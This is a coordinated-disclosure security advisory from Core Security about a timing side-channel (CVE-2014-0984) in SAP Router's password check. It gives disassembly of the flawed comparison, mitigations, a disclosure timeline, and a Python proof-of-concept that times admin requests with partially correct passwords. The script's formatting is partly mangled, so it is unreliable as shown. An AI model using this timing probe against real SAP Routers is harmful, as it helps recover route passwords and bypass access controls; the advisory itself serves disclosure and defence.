SecurityvulnsSECURITYVULNS:DOC:30577[CORE-2014-0003] - SAP Router Password Timing Attack
Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/
SAP Router Password Timing Attack
- Advisory Information
Title: SAP Router Password Timing Attack
Advisory ID: CORE-2014-0003
Advisory URL:
http://www.coresecurity.com/advisories/sap-router-password-timing-attack
Date published: 2014-04-15
Date of last update: 2014-03-06
Vendors contacted: SAP
Release mode: Coordinated release
- Vulnerability Information
Class: Information Exposure Through Timing Discrepancy [CWE-208]
Impact: Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2014-0984
-
Vulnerability Description
SAP Router [1] is an application-level gateway used to
connect systems in a SAP infrastructure. A vulnerability
have been found in SAP Router that could allow an unauthenticated
remote attacker to obtain passwords used to protect route entries
by a
timing side-channel attack. -
Vulnerable Packages
. SAP Router release 721 patch level 117.
. SAP Router release 720 patch level 411.
. SAP Router release 710 patch level 029.
. Other versions are probably affected too, but they were not checked. -
Vendor Information, Solutions and Workarounds
SAP released the security note
https://service.sap.com/sap/support/notes/1986895
regarding these issues. Contact SAP for further information.Martin Gallo proposed the following actions to mitigate the
impact of the vulnerabilities:-
Disable the use of passwords on the Route Permission Table [2].
-
Enforce the use of SNC (Secure Network Communications) as an
authentication mechanism for securing routes.
-
-
Credits
This vulnerability was discovered and researched by Martin Gallo
from Core
Security Consulting Services. The publication of this advisory was
coordinated by Fernando Miranda from Core Advisories Team. -
Technical Description / Proof of Concept Code
SAP Router permits and/or forbids networks connections based on a
Route Permission Table [2]. Entries in the
Route Permission Table can have a password. If a password is
specified
for a given entry in the Route Permission Table, SAP Router checks
whether
the user-supplied password matches with the one in the Route
Permission
Table entry before permitting a connection.The vulnerable function 'passwordCheck'
performs a non-constant time string comparison for checking the
user-supplied password against the on in the Route Permission Table.
On the first non-matched character, the string comparison function
immediately interrupts the evaluation cycle, which may let an
attacker perform timing attacks.
The following snippet shows an excerpt of the vulnerable code
within the
'passwordCheck' function:
/-----
.text:0000000140005BE0 loc_140005BE0: ; CODE
XREF: passwordCheck+191j
.text:0000000140005BE0 movzx ecx, byte ptr [rdi] ; rdi
points to the routtab password
.text:0000000140005BE3 movzx eax, byte ptr [rdi+rsi] ;
rdi+rsi points to the user-supplied password
.text:0000000140005BE7 sub ecx, eax
.text:0000000140005BE9 jnz short loc_140005BF3 ;
password check failed
.text:0000000140005BEB add rdi, 1
.text:0000000140005BEF test eax, eax
.text:0000000140005BF1 jnz short loc_140005BE0
.text:0000000140005BF3
.text:0000000140005BF3 loc_140005BF3: ; CODE
XREF: passwordCheck+189j
.text:0000000140005BF3 test ecx, ecx
.text:0000000140005BF5 jz short loc_140005C3F
.text:0000000140005BF7 cmp cs:trace_level, 1
.text:0000000140005BFE jl short loc_140005C38
.text:0000000140005C00 call DpLock
.text:0000000140005C05 mov rcx, cs:qword_140273BC0
.text:0000000140005C0C lea r8, aPasswordcheck ;
"passwordCheck"
.text:0000000140005C13 lea rdx, aSPasswordCheck ;
"%s: password check failed\n"
.text:0000000140005C1A mov cs:dword_1401ADAA4, 1
.text:0000000140005C24 call DpTrace
.text:0000000140005C29
.text:0000000140005C29 loc_140005C29: ; CODE
XREF: passwordCheck+16Fj
.text:0000000140005C29 mov cs:dword_1401ADAA4, 2
.text:0000000140005C33 call DpUnlock
.text:0000000140005C38
.text:0000000140005C38 loc_140005C38: ; CODE
XREF: passwordCheck+135j
.text:0000000140005C38 ;
passwordCheck+19Ej
.text:0000000140005C38 mov eax, 0FFFFFFA2h
.text:0000000140005C3D jmp short loc_140005C41
.text:0000000140005C3F ;
.text:0000000140005C3F
.text:0000000140005C3F loc_140005C3F: ; CODE
XREF: passwordCheck+12Cj
.text:0000000140005C3F ;
passwordCheck+174j …
.text:0000000140005C3F xor eax, eax ;
password check succeeded
-----/
7.1. Proof of Concept
/-----
#!/usr/bin/python
===========
pysap - Python library for crafting SAP's network protocols packets
Copyright (C) 2014 Core Security Technologies
The library was designed and developed by Martin Gallo from the Security
Consulting Services team of Core Security Technologies.
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
##==============
Standard imports
import logging
from optparse import OptionParser, OptionGroup
External imports
import fau_timer
from scapy.config import conf
from scapy.supersocket import socket
Custom imports
from pysap.SAPNI import SAPNI, SAPNIStreamSocket
from pysap.SAPRouter import SAPRouter, router_is_control
Set the verbosity to 0
conf.verb = 0
Command line options parser
def parse_options():
description = \
"""This example script connects with a SAP Router service and makes an
information request using a provided password. It then records the
time the remote service takes to respond to the request. Further
analysis
of the time records could be performed in order to identify whether the
server is vulnerable to a timing attack on the password check.
"""
epilog = \
"""pysap -
usage = "Usage: %prog [options] -d <remote host>"
parser = OptionParser(usage=usage, description=description,
epilog=epilog)
target = OptionGroup(parser, "Target")
target.add_option("-d", "--remote-host", dest="remote_host",
help="Remote host [%default]", default="127.0.0.1")
target.add_option("-p", "–remote-port", dest="remote_port",
type="int", help="Remote port [%default]", default=3299)
target.add_option("–router-version", dest="router_version",
type="int", help="SAP Router version to use [retrieve from the remote
SAP Router]")
parser.add_option_group(target)
misc = OptionGroup(parser, "Misc options")
misc.add_option("-t", "--tries", dest="tries", default=10,
type="int", help="Amount of tries to make for each length [%default]")
misc.add_option("–password", dest="password", default="password",
help="Correct password to test")
misc.add_option("-o", "–output", dest="output",
default="output.csv", help="Output file [%default]")
misc.add_option("-v", "–verbose", dest="verbose",
action="store_true", default=False, help="Verbose output [%default]")
parser.add_option_group(misc)
(options, _) = parser.parse_args()
if not options.remote_host:
parser.error("Remote host is required")
return options
Retrieve the version of the remote SAP Router
def get_router_version(connection):
r = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL,
version=40, opcode=1))
if router_is_control(r) and r.opcode == 2:
return r.version
else:
return None
def try_password(options, password, output=None, k=0):
p = SAPRouter(type=SAPRouter.SAPROUTER_ADMIN,
version=options.router_version)
p.adm_command = 2
p.adm_password = password
p = str(SAPNI() / p)
fau_timer.init()
fau_timer.send_request(options.remote_host, options.remote_port, p,
len(p))
fau_timer.calculate_time()
cpuSpeed = fau_timer.get_speed()
cpuTicks = fau_timer.get_cpu_ticks()
time = fau_timer.get_time()
if options.verbose:
print "Request time: CPU Speed: %s Hz CPU Ticks: %s Time: %s
nanosec" % (cpuSpeed, cpuTicks, time)
# Write the time to the output file
if output:
output.write("%i,%s,%s\n" % (k, password, time))
return time
Main function
def main():
options = parse_options()
if options.verbose:
logging.basicConfig(level=logging.DEBUG)
# Initiate the connection
sock = socket.socket()
sock.connect((options.remote_host, options.remote_port))
conn = SAPNIStreamSocket(sock)
print "[*] Connected to the SAP Router %s:%d" %
(options.remote_host, options.remote_port)
# Retrieve the router version used by the server if not specified
if options.router_version is None:
options.router_version = get_router_version(conn)
print "[*] Using SAP Router version %d" % options.router_version
print "[*] Checking if the server is vulnerable to a timing attack ..."
with open(options.output, "w") as f:
c = 0
for i in range(0, len(options.password) + 1):
password = options.password[:i] + "X" *
(len(options.password) - i)
print "[*] Trying with password (%s) len %d" % (password,
len(password))
for _ in range(0, options.tries):
try_password(options, password, f, c)
c += 1
if name == "main":
main()
-----/
-
Report Timeline
. 2014-02-20:Initial notification sent to SAP, including technical description to reproduce the vulnerability. Publication date set to March
11, 2014.
. 2014-02-20:
Vendor notifies that the tracking number 1068415-2014 was
created for this issue.
. 2014-02-28:
Vendor notifies that they will not be able to provide
a fix for the reported issue for the tentative release date,
March 11th,
and ask for delaying the advisory publication.
. 2014-03-03:
Vendor notifies that they currently do not see it as a
vulnerability
and asks for additional technical details.
. 2014-03-05:
Core sends additional information regarding how to exploit this
vulnerability
solving the network letency and other practical issues.
Additional publications
on this topic were also included [3],
[4], [5].
. 2014-03-07:
Vendor notifies that they will make changes for mitigating
timing attacks.
Vendor also notifies that they usually release security fixes
on Patch Days (every second Tuesday per month), and April 8th
or May 13th seems much more realistic dates for releasing fixes.
. 2014-03-26:
Vendor requests pushing the advisory release until May 13th.
. 2014-04-03:
Core re-schedules the advisory publication for May 13th.
. 2014-03-11:
First release date missed.
. 2014-03-07:
Core re-schedules the advisory publication for April 8th.
. 2014-03-13:
Core sends a Proof of Concept and aditional technical information.
. 2014-04-07:
SAP notifies that they have released the security note 1986895
[6] on April Patch Day 2014.
. 2014-04-09:
Core notifies that the advisory is going to be re-schedule for
the 15 of April.
. 2014-04-15:
Advisory CORE-2014-0003 published.
- References
[2]
http://help.sap.com/saphelp_nw74/helpdata/en/48/6c7a3fc1504e6ce10000000a421937/content.htm?frameset=/en/ea/214d2aafaa43feaee78375cb16552f/frameset.htm
[3] http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.65.9811
[4] http://www.youtube.com/watch?v=idjDiBtu93Y&feature=related
[5] http://events.ccc.de/congress/2011/Fahrplan/attachments/2021_Slides
[6]
SAP security note 1986895
https://service.sap.com/sap/support/notes/1986895.
-
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Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com. -
Disclaimer
The contents of this advisory are copyright
(c) 2014 Core Security Technologies and (c) 2014 CoreLabs,
and are licensed under a Creative Commons
Attribution Non-Commercial Share-Alike 3.0 (United States) License:
http://creativecommons.org/licenses/by-nc-sa/3.0/us/ -
PGP/GPG Keys
This advisory has been signed with the GPG key of Core Security
Technologies
advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
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